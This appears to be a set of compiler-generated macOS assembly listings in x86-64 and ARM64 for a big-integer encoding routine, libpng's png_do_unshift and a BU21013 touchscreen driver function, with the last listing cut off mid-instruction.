.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _br_i15_encode ## -- Begin function br_i15_encode .p2align 4, 0x90 _br_i15_encode: ## @br_i15_encode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rsi, %rax movl (%rdx), %ecx addl $15, %ecx cmpl $16, %ecx jae LBB0_1 ## %bb.9: xorl %esi, %esi movq %rax, %rdx popq %rbp jmp _memset ## TAILCALL LBB0_1: testq %rax, %rax je LBB0_8 ## %bb.2: sarl $4, %ecx movslq %ecx, %rsi movl $1, %r8d xorl %ecx, %ecx xorl %r9d, %r9d jmp LBB0_3 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_3 Depth=1 addl $15, %ecx LBB0_7: ## in Loop: Header=BB0_3 Depth=1 movb %r9b, -1(%rdi,%rax) decq %rax sarl $8, %r9d addl $-8, %ecx testq %rax, %rax je LBB0_8 LBB0_3: ## =>This Inner Loop Header: Depth=1 cmpl $8, %ecx jg LBB0_7 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 cmpq %rsi, %r8 ja LBB0_6 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 movl (%rdx,%r8,4), %r10d incq %r8 shll %cl, %r10d addl %r10d, %r9d jmp LBB0_6 LBB0_8: popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _br_i15_encode ; -- Begin function br_i15_encode .p2align 2 _br_i15_encode: ; @br_i15_encode .cfi_startproc ; %bb.0: mov x8, x1 ldr w9, [x2] add w11, w9, #15 cmp w11, #16 b.hs LBB0_2 ; %bb.1: mov w1, #0 ; =0x0 mov x2, x8 b _memset LBB0_2: cbz x8, LBB0_9 ; %bb.3: mov w9, #0 ; =0x0 mov w10, #0 ; =0x0 sbfx x11, x11, #4, #28 sub x12, x0, #1 mov w13, #1 ; =0x1 b LBB0_6 LBB0_4: ; in Loop: Header=BB0_6 Depth=1 add w9, w9, #15 LBB0_5: ; in Loop: Header=BB0_6 Depth=1 strb w10, [x12, x8] asr w10, w10, #8 sub w9, w9, #8 sub x14, x8, #1 mov x8, x14 cbz x14, LBB0_9 LBB0_6: ; =>This Inner Loop Header: Depth=1 cmp w9, #8 b.gt LBB0_5 ; %bb.7: ; in Loop: Header=BB0_6 Depth=1 cmp x13, x11 b.hi LBB0_4 ; %bb.8: ; in Loop: Header=BB0_6 Depth=1 ldr w14, [x2, x13, lsl #2] add x13, x13, #1 lsl w14, w14, w9 add w10, w14, w10 b LBB0_4 LBB0_9: ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 ## -- Begin function png_do_unshift LCPI0_0: .long 85 ## 0x55 .long 85 ## 0x55 .long 85 ## 0x55 .long 85 ## 0x55 .section __TEXT,__literal4,4byte_literals LCPI0_1: .space 4,85 .section __TEXT,__text,regular,pure_instructions .globl _png_do_unshift .p2align 4, 0x90 _png_do_unshift: ## @png_do_unshift .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx subq $32, %rsp .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r15 movq %rsi, %rbx movq %rdi, %r14 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -40(%rbp) leaq L_.str(%rip), %rsi movl $1, %r12d movl $1, %edi callq _png_debug movl (%r14), %edx movq _PNG_COLOR_TYPE_PALETTE@GOTPCREL(%rip), %rax cmpl (%rax), %edx je LBB0_37 ## %bb.1: movl 4(%r14), %eax movl 8(%r14), %ecx movq _PNG_COLOR_MASK_COLOR@GOTPCREL(%rip), %rsi xorl %edi, %edi movl (%rsi), %esi orl %edx, %esi sete %dil movl %ecx, %esi subl 8(%r15,%rdi,4), %esi movl %esi, -64(%rbp) movq _PNG_COLOR_MASK_ALPHA@GOTPCREL(%rip), %rsi movl (%rsi), %esi testl %edx, %esi je LBB0_3 ## %bb.2: movl %ecx, %edi subl 16(%r15), %edi movl %edi, -60(%rbp) movl $2, %r12d LBB0_3: movl -64(%rbp), %r8d movl -60(%rbp), %r9d xorl %edi, %edi testl %r8d, %r8d cmovlel %edi, %r8d setg %r10b testl %r9d, %r9d setg %r11b cmovlel %edi, %r9d orb %r10b, %r11b movl %r8d, -64(%rbp) movl %r9d, -60(%rbp) movzbl %r11b, %r8d testl %edx, %esi je LBB0_5 ## %bb.4: movl -56(%rbp), %edx testl %edx, %edx cmovgl %edx, %edi movl %edi, -56(%rbp) movl $1, %edx cmovgl %edx, %r8d LBB0_5: testl %r8d, %r8d je LBB0_37 ## %bb.6: addl $-2, %ecx rorl %ecx cmpl $7, %ecx ja LBB0_37 ## %bb.7: leaq LJTI0_0(%rip), %rdx movslq (%rdx,%rcx,4), %rcx addq %rdx, %rcx jmpq *%rcx LBB0_8: movslq 12(%r14), %rax testq %rax, %rax jle LBB0_37 ## %bb.9: xorl %edx, %edx cmpl $8, %eax jae LBB0_11 ## %bb.10: movq %rbx, %rcx jmp LBB0_14 LBB0_24: imull %r12d, %eax testl %eax, %eax jle LBB0_37 ## %bb.25: decl %r12d xorl %edx, %edx cmpl $4, %eax jb LBB0_28 ## %bb.26: movl %eax, %esi andl $2147483644, %esi ## imm = 0x7FFFFFFC xorl %edx, %edx .p2align 4, 0x90 LBB0_27: ## =>This Inner Loop Header: Depth=1 movl %edx, %edi andl %r12d, %edi movzbl -64(%rbp,%rdi,4), %ecx sarl %cl, (%rbx) leal 1(%rdx), %ecx andl %r12d, %ecx movzbl -64(%rbp,%rcx,4), %ecx sarl %cl, 4(%rbx) movzbl -64(%rbp,%rdi,4), %ecx sarl %cl, 8(%rbx) leal 3(%rdx), %ecx andl %r12d, %ecx movzbl -64(%rbp,%rcx,4), %ecx sarl %cl, 12(%rbx) addq $16, %rbx addl $4, %edx cmpl %esi, %edx jne LBB0_27 LBB0_28: testb $3, %al je LBB0_37 ## %bb.29: movl %edx, %edx andl $3, %eax xorl %esi, %esi .p2align 4, 0x90 LBB0_30: ## =>This Inner Loop Header: Depth=1 leal (%rdx,%rsi), %ecx andl %r12d, %ecx movzbl -64(%rbp,%rcx,4), %ecx sarl %cl, (%rbx,%rsi,4) incq %rsi cmpl %esi, %eax jne LBB0_30 jmp LBB0_37 LBB0_16: movl -64(%rbp), %ecx movl $240, %eax shrl %cl, %eax movslq 12(%r14), %rdx movl $15, %esi shrl %cl, %esi testq %rdx, %rdx jle LBB0_37 ## %bb.17: andl $-16, %eax orl %esi, %eax xorl %edi, %edi cmpl $8, %edx jae LBB0_19 ## %bb.18: movq %rbx, %rsi jmp LBB0_22 LBB0_31: imull %r12d, %eax testl %eax, %eax jle LBB0_37 ## %bb.32: decl %r12d xorl %edx, %edx cmpl $1, %eax je LBB0_35 ## %bb.33: movl %eax, %esi andl $2147483646, %esi ## imm = 0x7FFFFFFE xorl %edx, %edx .p2align 4, 0x90 LBB0_34: ## =>This Inner Loop Header: Depth=1 movl (%rbx), %r8d shll $8, %r8d addl 4(%rbx), %r8d movl 8(%rbx), %edi movl %edx, %ecx andl %r12d, %ecx movzbl -64(%rbp,%rcx,4), %ecx sarl %cl, %r8d movzbl %r8b, %ecx sarl $8, %r8d movl %r8d, (%rbx) movl %ecx, 4(%rbx) shll $8, %edi addl 12(%rbx), %edi leal 1(%rdx), %ecx andl %r12d, %ecx movzbl -64(%rbp,%rcx,4), %ecx sarl %cl, %edi movzbl %dil, %ecx sarl $8, %edi movl %edi, 8(%rbx) movl %ecx, 12(%rbx) addq $16, %rbx addl $2, %edx cmpl %esi, %edx jne LBB0_34 LBB0_35: testb $1, %al je LBB0_37 ## %bb.36: movl (%rbx), %eax shll $8, %eax addl 4(%rbx), %eax andl %r12d, %edx movzbl -64(%rbp,%rdx,4), %ecx sarl %cl, %eax movzbl %al, %ecx sarl $8, %eax movl %eax, (%rbx) movl %ecx, 4(%rbx) jmp LBB0_37 LBB0_11: movl %eax, %edx andl $2147483640, %edx ## imm = 0x7FFFFFF8 leaq (,%rdx,4), %rsi leaq (%rbx,%rdx,4), %rcx xorl %edi, %edi pmovsxbd LCPI0_1(%rip), %xmm0 ## xmm0 = [85,85,85,85] .p2align 4, 0x90 LBB0_12: ## =>This Inner Loop Header: Depth=1 movdqu (%rbx,%rdi), %xmm1 movdqu 16(%rbx,%rdi), %xmm2 psrld $1, %xmm1 psrld $1, %xmm2 pand %xmm0, %xmm1 pand %xmm0, %xmm2 movdqu %xmm1, (%rbx,%rdi) movdqu %xmm2, 16(%rbx,%rdi) addq $32, %rdi cmpq %rdi, %rsi jne LBB0_12 ## %bb.13: cmpq %rax, %rdx je LBB0_37 LBB0_14: subl %edx, %eax xorl %edx, %edx .p2align 4, 0x90 LBB0_15: ## =>This Inner Loop Header: Depth=1 movl (%rcx,%rdx,4), %esi shrl %esi andl $85, %esi movl %esi, (%rcx,%rdx,4) incq %rdx cmpl %edx, %eax jne LBB0_15 jmp LBB0_37 LBB0_19: movl %edx, %edi andl $2147483640, %edi ## imm = 0x7FFFFFF8 leaq (,%rdi,4), %r8 leaq (%rbx,%rdi,4), %rsi movd %ecx, %xmm1 movd %eax, %xmm0 pshufd $0, %xmm0, %xmm0 ## xmm0 = xmm0[0,0,0,0] xorl %r9d, %r9d pmovzxdq %xmm1, %xmm1 ## xmm1 = xmm1[0],zero,xmm1[1],zero .p2align 4, 0x90 LBB0_20: ## =>This Inner Loop Header: Depth=1 movdqu (%rbx,%r9), %xmm2 movdqu 16(%rbx,%r9), %xmm3 psrad %xmm1, %xmm2 psrad %xmm1, %xmm3 pand %xmm0, %xmm2 pand %xmm0, %xmm3 movdqu %xmm2, (%rbx,%r9) movdqu %xmm3, 16(%rbx,%r9) addq $32, %r9 cmpq %r9, %r8 jne LBB0_20 ## %bb.21: cmpq %rdx, %rdi je LBB0_37 LBB0_22: subl %edi, %edx xorl %edi, %edi .p2align 4, 0x90 LBB0_23: ## =>This Inner Loop Header: Depth=1 movl (%rsi,%rdi,4), %r8d sarl %cl, %r8d andl %eax, %r8d movl %r8d, (%rsi,%rdi,4) incq %rdi cmpl %edi, %edx jne LBB0_23 LBB0_37: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -40(%rbp), %rax jne LBB0_39 ## %bb.38: addq $32, %rsp popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_39: callq ___stack_chk_fail .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_8, LBB0_8-LJTI0_0 .set L0_0_set_16, LBB0_16-LJTI0_0 .set L0_0_set_37, LBB0_37-LJTI0_0 .set L0_0_set_24, LBB0_24-LJTI0_0 .set L0_0_set_31, LBB0_31-LJTI0_0 LJTI0_0: .long L0_0_set_8 .long L0_0_set_16 .long L0_0_set_37 .long L0_0_set_24 .long L0_0_set_37 .long L0_0_set_37 .long L0_0_set_37 .long L0_0_set_31 .end_data_region ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "in png_do_unshift\n" .comm _PNG_COLOR_TYPE_PALETTE,4,2 ## @PNG_COLOR_TYPE_PALETTE .comm _PNG_COLOR_MASK_COLOR,4,2 ## @PNG_COLOR_MASK_COLOR .comm _PNG_COLOR_MASK_ALPHA,4,2 ## @PNG_COLOR_MASK_ALPHA .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _png_do_unshift ; -- Begin function png_do_unshift .p2align 2 _png_do_unshift: ; @png_do_unshift .cfi_startproc ; %bb.0: sub sp, sp, #80 stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x21, x2 mov x19, x1 mov x20, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #24] Lloh3: adrp x1, l_.str@PAGE Lloh4: add x1, x1, l_.str@PAGEOFF mov w0, #1 ; =0x1 bl _png_debug ldr w9, [x20] Lloh5: adrp x8, _PNG_COLOR_TYPE_PALETTE@GOTPAGE Lloh6: ldr x8, [x8, _PNG_COLOR_TYPE_PALETTE@GOTPAGEOFF] Lloh7: ldr w8, [x8] cmp w9, w8 b.eq LBB0_44 ; %bb.1: Lloh8: adrp x8, _PNG_COLOR_MASK_COLOR@GOTPAGE Lloh9: ldr x8, [x8, _PNG_COLOR_MASK_COLOR@GOTPAGEOFF] Lloh10: ldr w8, [x8] orr w11, w8, w9 ldp w8, w10, [x20, #4] cmp w11, #0 mov w11, #8 ; =0x8 mov w12, #12 ; =0xc csel x11, x12, x11, eq ldr w11, [x21, x11] sub w11, w10, w11 str w11, [sp, #8] Lloh11: adrp x11, _PNG_COLOR_MASK_ALPHA@GOTPAGE Lloh12: ldr x11, [x11, _PNG_COLOR_MASK_ALPHA@GOTPAGEOFF] Lloh13: ldr w11, [x11] ands w11, w11, w9 b.eq LBB0_3 ; %bb.2: ldr w9, [x21, #16] sub w9, w10, w9 str w9, [sp, #12] mov w9, #2 ; =0x2 b LBB0_4 LBB0_3: mov w9, #1 ; =0x1 LBB0_4: ldp w12, w13, [sp, #8] bic w14, w12, w12, asr #31 cmp w13, #0 bic w13, w13, w13, asr #31 stp w14, w13, [sp, #8] ccmp w12, #0, #0, le cset w12, gt cbz w11, LBB0_6 ; %bb.5: ldr w11, [sp, #16] cmp w11, #1 csel w11, wzr, w11, lt str w11, [sp, #16] csinc w12, w12, wzr, lt LBB0_6: cbz w12, LBB0_44 ; %bb.7: sub w10, w10, #2 ror w10, w10, #1 cmp w10, #2 b.gt LBB0_13 ; %bb.8: cbz w10, LBB0_18 ; %bb.9: cmp w10, #1 b.ne LBB0_44 ; %bb.10: ldr w10, [x20, #12] cmp w10, #1 b.lt LBB0_44 ; %bb.11: ldr w8, [sp, #8] mov w9, #240 ; =0xf0 lsr w9, w9, w8 and w9, w9, #0xf0 mov w11, #15 ; =0xf lsr w11, w11, w8 orr w9, w9, w11 cmp w10, #16 b.hs LBB0_24 ; %bb.12: mov w12, #0 ; =0x0 mov x11, x19 b LBB0_27 LBB0_13: cmp w10, #3 b.eq LBB0_21 ; %bb.14: cmp w10, #7 b.ne LBB0_44 ; %bb.15: mul w8, w9, w8 cmp w8, #1 b.lt LBB0_44 ; %bb.16: sub w9, w9, #1 cmp w8, #4 b.hs LBB0_29 ; %bb.17: mov w10, #0 ; =0x0 mov x11, x19 b LBB0_32 LBB0_18: ldr w9, [x20, #12] cmp w9, #1 b.lt LBB0_44 ; %bb.19: cmp w9, #16 b.hs LBB0_34 ; %bb.20: mov w10, #0 ; =0x0 mov x8, x19 b LBB0_37 LBB0_21: mul w8, w9, w8 cmp w8, #1 b.lt LBB0_44 ; %bb.22: sub w9, w9, #1 cmp w8, #4 b.hs LBB0_39 ; %bb.23: mov w10, #0 ; =0x0 mov x11, x19 b LBB0_42 LBB0_24: and x12, x10, #0x7ffffff0 dup.4s v1, w8 add x11, x19, x12, lsl #2 dup.4s v0, w9 add x13, x19, #32 neg.4s v1, v1 mov x14, x12 LBB0_25: ; =>This Inner Loop Header: Depth=1 ldp q2, q3, [x13, #-32] ldp q4, q5, [x13] sshl.4s v2, v2, v1 sshl.4s v3, v3, v1 sshl.4s v4, v4, v1 sshl.4s v5, v5, v1 and.16b v2, v2, v0 and.16b v3, v3, v0 and.16b v4, v4, v0 and.16b v5, v5, v0 stp q2, q3, [x13, #-32] stp q4, q5, [x13], #64 subs x14, x14, #16 b.ne LBB0_25 ; %bb.26: cmp x12, x10 b.eq LBB0_44 LBB0_27: sub w10, w10, w12 LBB0_28: ; =>This Inner Loop Header: Depth=1 ldr w12, [x11] asr w12, w12, w8 and w12, w12, w9 str w12, [x11], #4 subs w10, w10, #1 b.ne LBB0_28 b LBB0_44 LBB0_29: mov x12, #0 ; =0x0 and x10, x8, #0x7ffffffc add x11, x19, x10, lsl #3 add x13, sp, #8 movi.2d v0, #0x0000ff000000ff LBB0_30: ; =>This Inner Loop Header: Depth=1 add w14, w12, #1 add w15, w12, #3 ld2.4s { v1, v2 }, [x19] shl.4s v3, v1, #8 add.4s v1, v3, v2 and w16, w9, w12 and w14, w14, w9 and w15, w15, w9 ldr w16, [x13, w16, uxtw #2] add x14, x13, w14, uxtw #2 fmov s2, w16 ld1.s { v2 }[1], [x14] mov.s v2[2], w16 add x14, x13, w15, uxtw #2 ld1.s { v2 }[3], [x14] neg.4s v2, v2 sshl.4s v1, v1, v2 sshr.4s v2, v1, #8 and.16b v3, v1, v0 st2.4s { v2, v3 }, [x19], #32 add x12, x12, #4 cmp x10, x12 b.ne LBB0_30 ; %bb.31: cmp x10, x8 b.eq LBB0_44 LBB0_32: add x12, sp, #8 LBB0_33: ; =>This Inner Loop Header: Depth=1 ldp w13, w14, [x11] add w13, w14, w13, lsl #8 and w14, w10, w9 ldr w14, [x12, w14, uxtw #2] asr w13, w13, w14 asr w14, w13, #8 and w13, w13, #0xff stp w14, w13, [x11], #8 add w10, w10, #1 cmp w8, w10 b.ne LBB0_33 b LBB0_44 LBB0_34: and x10, x9, #0x7ffffff0 add x8, x19, x10, lsl #2 add x11, x19, #32 movi.4s v0, #85 mov x12, x10 LBB0_35: ; =>This Inner Loop Header: Depth=1 ldp q1, q2, [x11, #-32] ldp q3, q4, [x11] ushr.4s v1, v1, #1 ushr.4s v2, v2, #1 ushr.4s v3, v3, #1 ushr.4s v4, v4, #1 and.16b v1, v1, v0 and.16b v2, v2, v0 and.16b v3, v3, v0 and.16b v4, v4, v0 stp q1, q2, [x11, #-32] stp q3, q4, [x11], #64 subs x12, x12, #16 b.ne LBB0_35 ; %bb.36: cmp x10, x9 b.eq LBB0_44 LBB0_37: sub w9, w9, w10 mov w10, #85 ; =0x55 LBB0_38: ; =>This Inner Loop Header: Depth=1 ldr w11, [x8] and w11, w10, w11, lsr #1 str w11, [x8], #4 subs w9, w9, #1 b.ne LBB0_38 b LBB0_44 LBB0_39: mov x12, #0 ; =0x0 and x10, x8, #0x7ffffffc add x11, x19, x10, lsl #2 add x13, sp, #8 LBB0_40: ; =>This Inner Loop Header: Depth=1 add w14, w12, #1 add w15, w12, #3 and w16, w9, w12 and w14, w14, w9 and w15, w15, w9 add x14, x13, w14, uxtw #2 add x15, x13, w15, uxtw #2 ldr w16, [x13, w16, uxtw #2] ldr q0, [x19] fmov s1, w16 ld1.s { v1 }[1], [x14] mov.s v1[2], w16 ld1.s { v1 }[3], [x15] neg.4s v1, v1 sshl.4s v0, v0, v1 str q0, [x19], #16 add x12, x12, #4 cmp x10, x12 b.ne LBB0_40 ; %bb.41: cmp x10, x8 b.eq LBB0_44 LBB0_42: add x12, sp, #8 LBB0_43: ; =>This Inner Loop Header: Depth=1 and w13, w10, w9 ldr w13, [x12, w13, uxtw #2] ldr w14, [x11] asr w13, w14, w13 str w13, [x11], #4 add w10, w10, #1 cmp w8, w10 b.ne LBB0_43 LBB0_44: ldr x8, [sp, #24] Lloh14: adrp x9, ___stack_chk_guard@GOTPAGE Lloh15: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh16: ldr x9, [x9] cmp x9, x8 b.ne LBB0_46 ; %bb.45: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload add sp, sp, #80 ret LBB0_46: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "in png_do_unshift\n" .comm _PNG_COLOR_TYPE_PALETTE,4,2 ; @PNG_COLOR_TYPE_PALETTE .comm _PNG_COLOR_MASK_COLOR,4,2 ; @PNG_COLOR_MASK_COLOR .comm _PNG_COLOR_MASK_ALPHA,4,2 ; @PNG_COLOR_MASK_ALPHA .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function bu21013_do_touch_report _bu21013_do_touch_report: ## @bu21013_do_touch_report .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r12 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq 8(%rdi), %rbx movq _MAX_FINGERS@GOTPCREL(%rip), %rax movl (%rax), %r15d movq %r15, %rax shlq $4, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r14 shlq $2, %r15 movq %r15, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r15 movq _LENGTH_OF_BUFFER@GOTPCREL(%rip), %rax movl (%rax), %eax shlq $2, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r13 movq %r12, -64(%rbp) ## 8-byte Spill movq %r12, %rdi movq %r13, %rsi callq _bu21013_read_block_data testq %rax, %rax js LBB0_1 ## %bb.2: movq %r15, -56(%rbp) ## 8-byte Spill movq _BU21013_SENSORS_EN_0_7@GOTPCREL(%rip), %rax movl (%rax), %edi orl (%r13), %edi callq _hweight32 movq _BU21013_SENSORS_EN_16_23@GOTPCREL(%rip), %rcx movl (%rcx), %edi andl 8(%r13), %edi movq _SHIFT_8@GOTPCREL(%rip), %rcx movzbl (%rcx), %ecx shll %cl, %edi movq _BU21013_SENSORS_EN_8_15@GOTPCREL(%rip), %rcx movl (%rcx), %ecx andl 4(%r13), %ecx movl %eax, %r15d orl %ecx, %edi movq _SHIFT_2@GOTPCREL(%rip), %rax movzbl (%rax), %ecx shrl %cl, %edi callq _hweight32 xorl %r12d, %r12d testl %r15d, %r15d je LBB0_19 ## %bb.3: testl %eax, %eax je LBB0_19 ## %bb.4: movq _MAX_FINGERS@GOTPCREL(%rip), %rax movl (%rax), %esi testl %esi, %esi jle LBB0_5 ## %bb.6: movq _SHIFT_2@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _MASK_BITS@GOTPCREL(%rip), %rax movl (%rax), %edi xorl %r15d, %r15d movl $1, %r12d jmp LBB0_7 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_7 Depth=1 movslq %esi, %rax addq $-16, %r13 decq %r12 cmpq %rax, %r12 jg LBB0_11 LBB0_7: ## =>This Inner Loop Header: Depth=1 movl -12(%r13), %eax shll %cl, %eax movl -4(%r13), %r8d movl -8(%r13), %edx andl %edi, %edx shll %cl, %r8d orl %eax, %edx je LBB0_10 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 movl (%r13), %eax andl %edi, %eax orl %r8d, %eax je LBB0_10 ## %bb.9: ## in Loop: Header=BB0_7 Depth=1 movslq %r15d, %rdi incl %r15d shlq $4, %rdi addq %r14, %rdi movq -64(%rbp), %rsi ## 8-byte Reload movl %eax, %ecx callq _touchscreen_set_mt_pos movq _SHIFT_2@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _MASK_BITS@GOTPCREL(%rip), %rax movl (%rax), %edi movq _MAX_FINGERS@GOTPCREL(%rip), %rax movl (%rax), %esi jmp LBB0_10 LBB0_1: movq _EINVAL@GOTPCREL(%rip), %rax xorl %r12d, %r12d subl (%rax), %r12d jmp LBB0_19 LBB0_11: cmpl $2, %r15d jne LBB0_15 ## %bb.12: movq 8(%r14), %rdi subq 24(%r14), %rdi callq _abs movq _DELTA_MIN@GOTPCREL(%rip), %r13 xorl %r12d, %r12d cmpq (%r13), %rax jl LBB0_19 ## %bb.13: movq (%r14), %rdi subq 16(%r14), %rdi callq _abs movq (%r13), %r8 cmpq %r8, %rax jl LBB0_19 ## %bb.14: movq %rbx, %rdi movq -56(%rbp), %r13 ## 8-byte Reload movq %r13, %rsi movq %r14, %rdx movl %r15d, %ecx callq _input_mt_assign_slots movl $2, %r15d jmp LBB0_16 LBB0_5: movq _DELTA_MIN@GOTPCREL(%rip), %rax movq (%rax), %r8 movq %rbx, %rdi movq -56(%rbp), %rsi ## 8-byte Reload movq %r14, %rdx xorl %ecx, %ecx callq _input_mt_assign_slots jmp LBB0_18 LBB0_15: movq _DELTA_MIN@GOTPCREL(%rip), %rax movq (%rax), %r8 movq %rbx, %rdi movq -56(%rbp), %r13 ## 8-byte Reload movq %r13, %rsi movq %r14, %rdx movl %r15d, %ecx callq _input_mt_assign_slots testl %r15d, %r15d jle LBB0_18 LBB0_16: movl %r15d, %r15d addq $8, %r14 xorl %r12d, %r12d .p2align 4, 0x90 LBB0_17: ## =>This Inner Loop Header: Depth=1 movl (%r13,%r12,4), %esi movq %rbx, %rdi callq _input_mt_slot movq _MT_TOOL_FINGER@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl $1, %edx callq _input_mt_report_slot_state movq _ABS_MT_POSITION_X@GOTPCREL(%rip), %rax movl (%rax), %esi movq (%r14), %rdx movq %rbx, %rdi callq _input_report_abs movq _ABS_MT_POSITION_Y@GOTPCREL(%rip), %rax movl (%rax), %esi movq -8(%r14), %rdx movq %rbx, %rdi callq _input_report_abs incq %r12 addq $16, %r14 cmpq %r12, %r15 jne LBB0_17 LBB0_18: movq %rbx, %rdi callq _input_mt_sync_frame movq %rbx, %rdi callq _input_sync xorl %r12d, %r12d LBB0_19: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_21 ## %bb.20: movl %r12d, %eax leaq -40(%rbp), %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_21: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _MAX_FINGERS,4,2 ## @MAX_FINGERS .comm _LENGTH_OF_BUFFER,4,2 ## @LENGTH_OF_BUFFER .comm _EINVAL,4,2 ## @EINVAL .comm _BU21013_SENSORS_EN_0_7,4,2 ## @BU21013_SENSORS_EN_0_7 .comm _BU21013_SENSORS_EN_8_15,4,2 ## @BU21013_SENSORS_EN_8_15 .comm _BU21013_SENSORS_EN_16_23,4,2 ## @BU21013_SENSORS_EN_16_23 .comm _SHIFT_8,4,2 ## @SHIFT_8 .comm _SHIFT_2,4,2 ## @SHIFT_2 .comm _MASK_BITS,4,2 ## @MASK_BITS .comm _DELTA_MIN,8,3 ## @DELTA_MIN .comm _MT_TOOL_FINGER,4,2 ## @MT_TOOL_FINGER .comm _ABS_MT_POSITION_X,4,2 ## @ABS_MT_POSITION_X .comm _ABS_MT_POSITION_Y,4,2 ## @ABS_MT_POSITION_Y .no_dead_strip _bu21013_do_touch_report .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function bu21013_do_touch_report _bu21013_do_touch_report: ; @bu21013_do_touch_report .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 sub sp, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x22, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-88] ldr x19, [x0, #8] Lloh3: adrp x8, _MAX_FINGERS@GOTPAGE Lloh4: ldr x8, [x8, _MAX_FINGERS@GOTPAGEOFF] Lloh5: ldr w12, [x8] lsl x8, x12, #4 mov x9, x8 Lloh6: adrp x16, ___chkstk_darwin@GOTPAGE Lloh7: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp sub x21, x9, x8 mov sp, x21 lsl x8, x12, #2 mov x9, x8 Lloh8: adrp x16, ___chkstk_darwin@GOTPAGE Lloh9: ldr x16, [x16, 